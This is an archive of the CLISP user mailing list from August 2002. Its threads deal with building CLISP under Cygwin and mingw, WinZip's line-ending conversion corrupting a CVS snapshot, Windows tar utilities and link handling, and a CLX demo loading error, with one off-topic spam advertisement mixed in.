file, i.e, how to > start the lisp memory file in C program first step? I think I (and others) answered this question already. 1. there is GDI interface from Dan Stanger. 2. there is inspect.lisp which uses your web browser for GUI. 3. you can write your own C program that will display GUI and communicate with the lisp process via a socket. Please choose your path and ask more specific questions. If your question is actually "How can I use CLIM with CLISP", then the answer is "you cannot at this time - unless you implement it first, which you are welcome to do". -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux There are two ways to write error-free programs; only the third one works. From scottmark1968@hotmail.com Thu Aug 15 17:20:32 2002 Received: from [203.135.9.174] (helo=pakistan) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17fUqq-0003jp-00 for ; Thu, 15 Aug 2002 17:20:29 -0700 From: "Scott Mark" To: Mime-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" Message-Id: Subject: [clisp-list] Hello ! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 15 17:21:30 2002 X-Original-Date: Fri, 9 Aug 2002 06:20:17
Hi,

Just wanted you to check out this cool online website builder. It lets people create cool websites in minutes and for free. You can create your own Flash animations and Intro as well. Its really simple and easy to use :) and its all a matter of minutes, you'll have an impressive website up and running in no time, i'm impressed ... I bet you'll be impressed as well.

This website gives a nice review and how to get started creating your first website easily : www.click-free.com

Thanks,
Scott Mark.
From glauber.ribeiro@experian.com Fri Aug 16 07:24:06 2002 Received: from mailhub0.experian.com ([167.107.229.206]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17fi1F-0004uA-00 for ; Fri, 16 Aug 2002 07:24:06 -0700 Received: from 167.107.229.201 by mailhub0.experian.com (InterScan E-Mail VirusWall NT); Fri, 16 Aug 2002 09:10:14 -0500 Received: from expexch1.cms.experian.com (expexch1.cms.experian.com) by mailhub1.experian.com (8.11.6/8.11.6) with ESMTP id g7GENEr01874 for ; Fri, 16 Aug 2002 09:23:14 -0500 (CDT) Received: by expexch1.cms.experian.com with Internet Mail Service (5.5.2653.19) id ; Fri, 16 Aug 2002 07:24:11 -0700 Message-ID: From: "Ribeiro, Glauber" To: "'clisp-list@lists.sourceforge.net'" MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Subject: [clisp-list] Compiling CLISP with cygwin mingw, and CVS strangeness Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 16 07:25:01 2002 X-Original-Date: Fri, 16 Aug 2002 07:23:54 -0700 Hello, I thought i'd try to compile the latest CLISP from sources under Cygwin "mingw", and i hit a few snags. Maybe someone here could help me: (1) I downloaded the CLISP CVS snapshot from SourceForge yesterday morning. Untarred it in my Windows98 machine (using Winzip), and i found out that all files in the CVS tree seem to have MSDOS line ends (CR+LF, instead of just LF as it should be). So, when i do a CVS get against this tree, CVS adds another CR at the end of each line (i end up with CR+LF+CR), which messes up cygwin's bash. I was able to go around this by using "cvs get -kb", but i wonder why it happened. Is it possible that the tree was transferred by FTP in ASCII mode to a Windows machine before it was tarred? (2) I tried running "configure --with-mingw" (under Cygwin's bash shell). It took just over 2 1/2 hours (!!!) to run in my 200MHz PII with Windows 98. When it finally finished, it looks like it didn't find a lot of important stuff (e.g.: sockets), and i ended up with an incomplete set of make files. Does this version (the one in CVS) compile (and is usable) with mingw? Or should i try the standard Cygwin? Is there any quicker way to do this? Do i REALLY have to run the configure script? Thanks, glauber From samuel.steingold@verizon.net Fri Aug 16 07:55:09 2002 Received: from h020.c001.snv.cp.net ([209.228.32.134] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17fiVI-0005y7-00 for ; Fri, 16 Aug 2002 07:55:08 -0700 Received: (cpmta 12059 invoked from network); 16 Aug 2002 07:55:01 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.134) with SMTP; 16 Aug 2002 07:55:01 -0700 X-Sent: 16 Aug 2002 14:55:01 GMT To: "Ribeiro, Glauber" Cc: "'clisp-list@lists.sourceforge.net'" Subject: Re: [clisp-list] Compiling CLISP with cygwin mingw, and CVS strangeness References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 61 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 16 07:56:02 2002 X-Original-Date: 16 Aug 2002 10:54:59 -0400 > * In message > * On the subject of "[clisp-list] Compiling CLISP with cygwin mingw, and CVS strangeness" > * Sent on Fri, 16 Aug 2002 07:23:54 -0700 > * Honorable "Ribeiro, Glauber" writes: > > (1) I downloaded the CLISP CVS snapshot from SourceForge yesterday > morning. Untarred it in my Windows98 machine (using Winzip), and i > found out that all files in the CVS tree seem to have MSDOS line ends > (CR+LF, instead of just LF as it should be). So, when i do a CVS get this is weird. > against this tree, CVS adds another CR at the end of each line (i end > up with CR+LF+CR), which messes up cygwin's bash. I was able to go > around this by using "cvs get -kb", but i wonder why it happened. Is > it possible that the tree was transferred by FTP in ASCII mode to a > Windows machine before it was tarred? when you installed cygwin, did you tell it to use "LF" or "CR/LF" line termination mode? > (2) I tried running "configure --with-mingw" (under Cygwin's bash > shell). It took just over 2 1/2 hours (!!!) to run in my 200MHz PII > with Windows 98. ouch! how much RAM do you have?! > When it finally finished, it looks like it didn't find a lot of > important stuff (e.g.: sockets), and i ended up with an incomplete set > of make files. what does "incomplete set of make files" mean? you could not build? what error messages? > Does this version (the one in CVS) compile (and is usable) with mingw? yes. > Or should i try the standard Cygwin? this is certainly an option - and it will allow you to build in a separate directory too! (this is not available with win32_native until Arseny implements symbolic links) also, this should give you readline line editing (not available with win32_native). the downside is slower directory access (this is a cygwin problem, not a CLISP one). > Is there any quicker way to do this? Do i REALLY have to run the > configure script? I am afraid yes. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Never trust a man who can count to 1024 on his fingers. From glauber.ribeiro@experian.com Fri Aug 16 08:03:41 2002 Received: from mailhub0.experian.com ([167.107.229.206]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17fidZ-0007Xp-00 for ; Fri, 16 Aug 2002 08:03:41 -0700 Received: from 167.107.229.201 by mailhub0.experian.com (InterScan E-Mail VirusWall NT); Fri, 16 Aug 2002 09:49:50 -0500 Received: from expexch2.mck.experian.com (expexch2.mck.experian.com) by mailhub1.experian.com (8.11.6/8.11.6) with ESMTP id g7GF2or09476 for ; Fri, 16 Aug 2002 10:02:50 -0500 (CDT) Received: by expexch2.mck.experian.com with Internet Mail Service (5.5.2653.19) id ; Fri, 16 Aug 2002 10:03:44 -0500 Message-ID: From: "Ribeiro, Glauber" To: "'clisp-list@lists.sourceforge.net'" Subject: RE: [clisp-list] Compiling CLISP with cygwin mingw, and CVS stran geness MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 16 08:04:06 2002 X-Original-Date: Fri, 16 Aug 2002 10:03:32 -0500 -----Original Message----- From: Sam Steingold [mailto:sds@gnu.org] Sent: Friday, August 16, 2002 9:55 AM To: Ribeiro, Glauber Cc: 'clisp-list@lists.sourceforge.net' Subject: Re: [clisp-list] Compiling CLISP with cygwin mingw, and CVS strangeness [...] ] ] > against this tree, CVS adds another CR at the end of each line (i end ] > up with CR+LF+CR), which messes up cygwin's bash. I was able to go ] > around this by using "cvs get -kb", but i wonder why it happened. Is ] > it possible that the tree was transferred by FTP in ASCII mode to a ] > Windows machine before it was tarred? ] ] when you installed cygwin, did you tell it to use "LF" or "CR/LF" line ] termination mode? LF, i think. ] > (2) I tried running "configure --with-mingw" (under Cygwin's bash ] > shell). It took just over 2 1/2 hours (!!!) to run in my 200MHz PII ] > with Windows 98. ] ] ouch! how much RAM do you have?! 192MB ] > When it finally finished, it looks like it didn't find a lot of ] > important stuff (e.g.: sockets), and i ended up with an incomplete set ] > of make files. ] ] what does "incomplete set of make files" mean? ] you could not build? ] what error messages? I haven't been able to really run a make yet, since the configure took all my time yesterday (will try tonight). But the first problem i found was that makemake was empty (other than for the comment that it was generated from makemake.in). I copied makemake.in to makemake, and that generated a Makefile. If i have time, i'll try it tonight. It's hard to experiment too much, since configure takes too long and i can't interrupt it without having to start again from the beginning. I'm thinking i won't be able to do this compile. During the configure step, it was "not finding" a lot of important stuff (like sockets, both IPv4 and IPv6). [...] g From emufer@terra.es Fri Aug 16 09:46:54 2002 Received: from [213.4.129.129] (helo=tsmtp1.mail.isp) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17fkFR-00075m-00 for ; Fri, 16 Aug 2002 09:46:53 -0700 Received: from emf ([213.97.133.29]) by tsmtp1.mail.isp (Netscape Messaging Server 4.15 tsmtp1 Mar 14 2002 21:29:48) with SMTP id H0Y3XX00.WUK for ; Fri, 16 Aug 2002 18:46:45 +0200 Message-ID: <000901c24544$a1565ec0$03001aac@emf> From: =?iso-8859-1?Q?Eduardo_Mu=F1oz?= To: References: Subject: Re: [clisp-list] Compiling CLISP with cygwin mingw, and CVS strangeness MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 16 09:47:04 2002 X-Original-Date: Fri, 16 Aug 2002 18:47:30 +0200 > (1) I downloaded the CLISP CVS snapshot from SourceForge yesterday morning. > Untarred it in my Windows98 machine (using Winzip), and i found out that all > files in the CVS tree seem to have MSDOS line ends (CR+LF, instead of just > LF as it should be). I think that WinZip is quilty here. Run WinZip and go to Options->Configuration-> Miscelaneous tab and uncheck "TAR file smart CR/LF conversion". HTH From rrschulz@cris.com Fri Aug 16 10:20:31 2002 Received: from darius.concentric.net ([207.155.198.79]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17fkly-0007o5-00 for ; Fri, 16 Aug 2002 10:20:30 -0700 Received: from mcfeely.concentric.net (mcfeely.concentric.net [207.155.198.83]) by darius.concentric.net [Concentric SMTP Routing 1.0] id g7GHKPf05928 for ; Fri, 16 Aug 2002 13:20:26 -0400 (EDT) Received: from Clemens.cris.com (da003d0091.sjc-ca.osd.concentric.net [64.1.0.92]) by mcfeely.concentric.net (8.9.1a) id NAA26699; Fri, 16 Aug 2002 13:20:22 -0400 (EDT) Message-Id: <5.1.0.14.2.20020816101427.02d2abf8@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Randall R Schulz Subject: Re: [clisp-list] Compiling CLISP with cygwin mingw, and CVS strangeness In-Reply-To: <000901c24544$a1565ec0$03001aac@emf> References: Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1"; format=flowed Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 16 10:21:08 2002 X-Original-Date: Fri, 16 Aug 2002 10:20:23 -0700 Eduardo, Glauber, I recommend avoiding WinZip entirely for anything Unixy or Cygwin-destined. There's more to this issue than line endings, though that's a major one.=20 Another is links, both symbolic and hard. Only Cygwin TAR will handle them= =20 properly. While you can change the "smart" text handling option in WinZip,= =20 you cannot get it to handle links correctly. Hard links might be a problem in some cases, at least when some code=20 (script, C/C++ or otherwise) assumes or requires them to work correctly,=20 but Cygwin-hosted programs will usually work because even if the underlying= =20 file system does not support hard links (only NTFS does), the Cygwin kernel= =20 (Cygwin1.dll) will make a copy when a hard link is not possible. Soft links / symbolic links are always supported, proving you go through a= =20 Cygwin application to create or resolve them. Randall Schulz Mountain View, CA USA At 09:47 2002-08-16, Eduardo Mu=F1oz wrote: > > (1) I downloaded the CLISP CVS snapshot from SourceForge yesterday= morning. > > Untarred it in my Windows98 machine (using Winzip), and i found out=20 > that all > > files in the CVS tree seem to have MSDOS line ends (CR+LF, instead of= just > > LF as it should be). > >I think that WinZip is quilty here. > >Run WinZip and go to Options->Configuration-> >Miscelaneous tab and uncheck "TAR file smart CR/LF >conversion". > > >HTH From hin@van-halen.alma.com Fri Aug 16 10:33:46 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17fkyn-0000vB-00 for ; Fri, 16 Aug 2002 10:33:45 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g7GHXb5U018625; Fri, 16 Aug 2002 13:33:37 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g7GHXbT8018622; Fri, 16 Aug 2002 13:33:37 -0400 Message-Id: <200208161733.g7GHXbT8018622@van-halen.alma.com> From: "John K. Hinsdale" To: rrschulz@cris.com CC: clisp-list@lists.sourceforge.net In-reply-to: <5.1.0.14.2.20020816101427.02d2abf8@pop3.cris.com> (message from Randall R Schulz on Fri, 16 Aug 2002 10:20:23 -0700) Subject: Re: [clisp-list] Compiling CLISP with cygwin mingw, and CVS strangeness Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 16 10:34:04 2002 X-Original-Date: Fri, 16 Aug 2002 13:33:37 -0400 > I recommend avoiding WinZip entirely for anything Unixy or Cygwin-destined. I realize this is off-topic, but if it helps, I've got working Windows 95/98/NT/2000 versions of tar, gzip, and zip/unzip (incl. making self-extracting ZIPs) that do not depend on Cygwin and that I've been using w/out problems for many years. You can grab them at http://www.alma.com/tools/winarch/ From rrschulz@cris.com Fri Aug 16 11:50:51 2002 Received: from darius.concentric.net ([207.155.198.79]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17fmBL-0007Z8-00 for ; Fri, 16 Aug 2002 11:50:47 -0700 Received: from mcfeely.concentric.net (mcfeely.concentric.net [207.155.198.83]) by darius.concentric.net [Concentric SMTP Routing 1.0] id g7GIoZf26943 for ; Fri, 16 Aug 2002 14:50:35 -0400 (EDT) Received: from Clemens.cris.com (da003d0091.sjc-ca.osd.concentric.net [64.1.0.92]) by mcfeely.concentric.net (8.9.1a) id OAA01917; Fri, 16 Aug 2002 14:50:32 -0400 (EDT) Message-Id: <5.1.0.14.2.20020816114728.02d6c750@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Randall R Schulz Subject: Re: [clisp-list] Compiling CLISP with cygwin mingw, and CVS strangeness In-Reply-To: <200208161733.g7GHXbT8018622@van-halen.alma.com> References: <5.1.0.14.2.20020816101427.02d2abf8@pop3.cris.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 16 11:51:03 2002 X-Original-Date: Fri, 16 Aug 2002 11:50:38 -0700 John, I'm dubious about a non-Cygwin app properly dealing with links of either kind. While it's possible they may copy when a hard link is impossible (cross-device or non-NTFS), but compatibility with Cygwin symlinks or any other proper disposition of a symlink indicated in the TAR archive seems unlikely. What do you know about how these utilities handle links? Randall Schulz Mountain View, CA USA At 10:33 2002-08-16, John K. Hinsdale wrote: > > I recommend avoiding WinZip entirely for anything Unixy or > Cygwin-destined. > >I realize this is off-topic, but if it helps, I've got working Windows >95/98/NT/2000 versions of tar, gzip, and zip/unzip (incl. making >self-extracting ZIPs) that do not depend on Cygwin and that I've been >using w/out problems for many years. You can grab them at > > http://www.alma.com/tools/winarch/ From hin@van-halen.alma.com Fri Aug 16 12:00:57 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17fmLA-00016J-00 for ; Fri, 16 Aug 2002 12:00:56 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g7GJ0c5U019095; Fri, 16 Aug 2002 15:00:38 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g7GJ0cEQ019092; Fri, 16 Aug 2002 15:00:38 -0400 Message-Id: <200208161900.g7GJ0cEQ019092@van-halen.alma.com> From: "John K. Hinsdale" To: rrschulz@cris.com CC: clisp-list@lists.sourceforge.net In-reply-to: <5.1.0.14.2.20020816114728.02d6c750@pop3.cris.com> (message from Randall R Schulz on Fri, 16 Aug 2002 11:50:38 -0700) Subject: Re: [clisp-list] Compiling CLISP with cygwin mingw, and CVS strangeness Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 16 12:01:22 2002 X-Original-Date: Fri, 16 Aug 2002 15:00:38 -0400 > I'm dubious about a non-Cygwin app properly dealing with links of either > kind. ... compatibility with ... symlinks seems unlikely. > What do you know about how these utilities handle links? oops, I only meant that these utils worked for me as far as the CR/LF issues I saw on this thread -- they don't make any attempt to try to translate, but rather extract exactly what is in the file, which for me is the right thing.. I did not mean to represent they did anything reasonable w/ hard links and symlinks. Sorry for the confusion. > What do you know about how these utilities handle links? Out of curiosity I just checked the "tar" and it appears to fail completely when it sees symlinks, and create a copy if it can when it sees a hard link. The main reason I've used these particular versions over Cygwin based ones is that they don't depend at all on registry settings etc. and always work the same way. But that was long ago and perhaps these issues have been laid to rest by Cygnus. "your mileage may vary" cheers, --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From glauber.ribeiro@experian.com Fri Aug 16 12:12:32 2002 Received: from mailhub0.experian.com ([167.107.229.206]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17fmWN-0003Uo-00 for ; Fri, 16 Aug 2002 12:12:31 -0700 Received: from 167.107.229.201 by mailhub0.experian.com (InterScan E-Mail VirusWall NT); Fri, 16 Aug 2002 13:58:39 -0500 Received: from expexch2.mck.experian.com (expexch2.mck.experian.com) by mailhub1.experian.com (8.11.6/8.11.6) with ESMTP id g7GJBdH01440 for ; Fri, 16 Aug 2002 14:11:39 -0500 (CDT) Received: by expexch2.mck.experian.com with Internet Mail Service (5.5.2653.19) id ; Fri, 16 Aug 2002 14:12:34 -0500 Message-ID: From: "Ribeiro, Glauber" To: "'clisp-list@lists.sourceforge.net'" MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Subject: [clisp-list] Winzip considered harmful Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 16 12:13:10 2002 X-Original-Date: Fri, 16 Aug 2002 14:12:20 -0500 Thanks for the hint on Winzip; that was, really, the source of my problem with the CVS bundle (Winzip improperly treating CVS files as if they were text files... Yikes!). I don't think there are any links inside the CVS bundle, so i'm probably ok as far as links are concerned, but i agree, i should have used gzip and tar from Cygwin instead of Winzip. glauber From rrschulz@cris.com Fri Aug 16 12:34:06 2002 Received: from darius.concentric.net ([207.155.198.79]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17fmrD-0007jU-00 for ; Fri, 16 Aug 2002 12:34:03 -0700 Received: from mcfeely.concentric.net (mcfeely.concentric.net [207.155.198.83]) by darius.concentric.net [Concentric SMTP Routing 1.0] id g7GJY0f20983 for ; Fri, 16 Aug 2002 15:34:00 -0400 (EDT) Received: from Clemens.cris.com (da003d0091.sjc-ca.osd.concentric.net [64.1.0.92]) by mcfeely.concentric.net (8.9.1a) id PAA18780; Fri, 16 Aug 2002 15:33:55 -0400 (EDT) Message-Id: <5.1.0.14.2.20020816122828.02e328e0@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Randall R Schulz Subject: Re: [clisp-list] Compiling CLISP with cygwin mingw, and CVS strangeness In-Reply-To: <200208161900.g7GJ0cEQ019092@van-halen.alma.com> References: <5.1.0.14.2.20020816114728.02d6c750@pop3.cris.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 16 12:35:02 2002 X-Original-Date: Fri, 16 Aug 2002 12:34:01 -0700 Hi, John, Cygwin does not strictly require the registry entries. Many things will work as long as Cygwin1.dll can be found in the PATH. The primary function of the registry is to hold the mount table. If those entries are missing, then there simply won't be a file system (from the Cygwin program's perspective) below "/" and only the unmounted volumes directory ("/cygdrive/") and the "/dev" and "/proc" synthetic directories are available. Anyway, you're right--this is pretty much off-topic, but since it seems that fairly many people are using Cygwin it's worth getting some basic facts on the record here. As an aside, I've got a new motherboard in my system, so accounting for some catch-up work, I can now get back to preparing a Cygwin package for CLISP 2.2.9. Randall Schulz Mountain View, CA USA At 12:00 2002-08-16, John K. Hinsdale wrote: > > I'm dubious about a non-Cygwin app properly dealing with links of either > > kind. ... compatibility with ... symlinks seems unlikely. > > > What do you know about how these utilities handle links? > >oops, I only meant that these utils worked for me as far as the CR/LF >issues I saw on this thread -- they don't make any attempt to try to >translate, but rather extract exactly what is in the file, which for >me is the right thing.. I did not mean to represent they did anything >reasonable w/ hard links and symlinks. Sorry for the confusion. > > > What do you know about how these utilities handle links? > >Out of curiosity I just checked the "tar" and it appears to fail >completely when it sees symlinks, and create a copy if it can when it >sees a hard link. > >The main reason I've used these particular versions over Cygwin based >ones is that they don't depend at all on registry settings etc. and >always work the same way. But that was long ago and perhaps these >issues have been laid to rest by Cygnus. "your mileage may vary" > > cheers, > >--- >John Hinsdale From adia@noc.uoa.gr Mon Aug 19 03:41:30 2002 Received: from peponi.noc.uoa.gr ([195.134.100.20]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17gjyR-00035H-00 for ; Mon, 19 Aug 2002 03:41:27 -0700 Received: from peponi.noc.uoa.gr (adia@localhost [127.0.0.1]) by peponi.noc.uoa.gr (8.12.5/8.12.5/Debian-1) with ESMTP id g7JAfHvB005668 for ; Mon, 19 Aug 2002 13:41:17 +0300 Received: (from adia@localhost) by peponi.noc.uoa.gr (8.12.5/8.12.5/Debian-1) id g7JAfGuK005666 for clisp-list@lists.sourceforge.net; Mon, 19 Aug 2002 13:41:16 +0300 X-Authentication-Warning: peponi.noc.uoa.gr: adia set sender to adia@noc.uoa.gr using -f From: Alexandros Diamantidis To: clisp-list@lists.sourceforge.net Message-ID: <20020819104116.GA3587@noc.uoa.gr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i Subject: [clisp-list] CLX demos? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 19 03:42:03 2002 X-Original-Date: Mon, 19 Aug 2002 13:41:16 +0300 Hello, I'm having trouble running the CLX demos from clisp 2.29... Here's what I did: $ cd clisp-2.29/modules/clx/new-clx/demos/ $ clisp -K full [1]> (load "clx-demos.lisp") ;; Loading file clx-demos.lisp ... *** - READ from #: # has no external symbol with name "OPEN-DISPLAY" 1. Break CLX-DEMOS[2]> Did I do something wrong or is there some other problem? Here's how I configured clisp: ./makemake --prefix=/opt/clisp --with-readline --with-gettext --with-dynamic-ffi --with-dynamic-modules --with-export-syscalls --with-module=wildcard --with-module=regexp --with-module=bindings/linuxlibc6 --with-module=clx/new-clx > Makefile Thanks in advance for any help. -- Alexandros Diamantidis * adia@noc.uoa.gr From samuel.steingold@verizon.net Mon Aug 19 06:27:35 2002 Received: from h023.c001.snv.cp.net ([209.228.32.138] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17gmZB-0004nt-00 for ; Mon, 19 Aug 2002 06:27:33 -0700 Received: (cpmta 22747 invoked from network); 19 Aug 2002 06:27:27 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.138) with SMTP; 19 Aug 2002 06:27:27 -0700 X-Sent: 19 Aug 2002 13:27:27 GMT To: Alexandros Diamantidis Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLX demos? References: <20020819104116.GA3587@noc.uoa.gr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020819104116.GA3587@noc.uoa.gr> Message-ID: Lines: 40 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 19 06:28:05 2002 X-Original-Date: 19 Aug 2002 09:27:25 -0400 > * In message <20020819104116.GA3587@noc.uoa.gr> > * On the subject of "[clisp-list] CLX demos?" > * Sent on Mon, 19 Aug 2002 13:41:16 +0300 > * Honorable Alexandros Diamantidis writes: > > I'm having trouble running the CLX demos from clisp 2.29... Here's > what I did: > > $ cd clisp-2.29/modules/clx/new-clx/demos/ > $ clisp -K full > [1]> (load "clx-demos.lisp") > > ;; Loading file clx-demos.lisp ... > *** - READ from #: > # has no external symbol with name "OPEN-DISPLAY" > 1. Break CLX-DEMOS[2]> > > Did I do something wrong or is there some other problem? > > Here's how I configured clisp: > > ./makemake --prefix=/opt/clisp --with-readline --with-gettext > --with-dynamic-ffi --with-dynamic-modules > --with-export-syscalls --with-module=wildcard > --with-module=regexp --with-module=bindings/linuxlibc6 > --with-module=clx/new-clx > Makefile weird - the demos work for me just fine. did you do 'make install'? what does $ clisp -K full --version say? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Fighting for peace is like screwing for virginity. From glauber.ribeiro@experian.com Mon Aug 19 07:15:08 2002 Received: from mailhub0.experian.com ([167.107.229.206]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17gnJC-0001G4-00 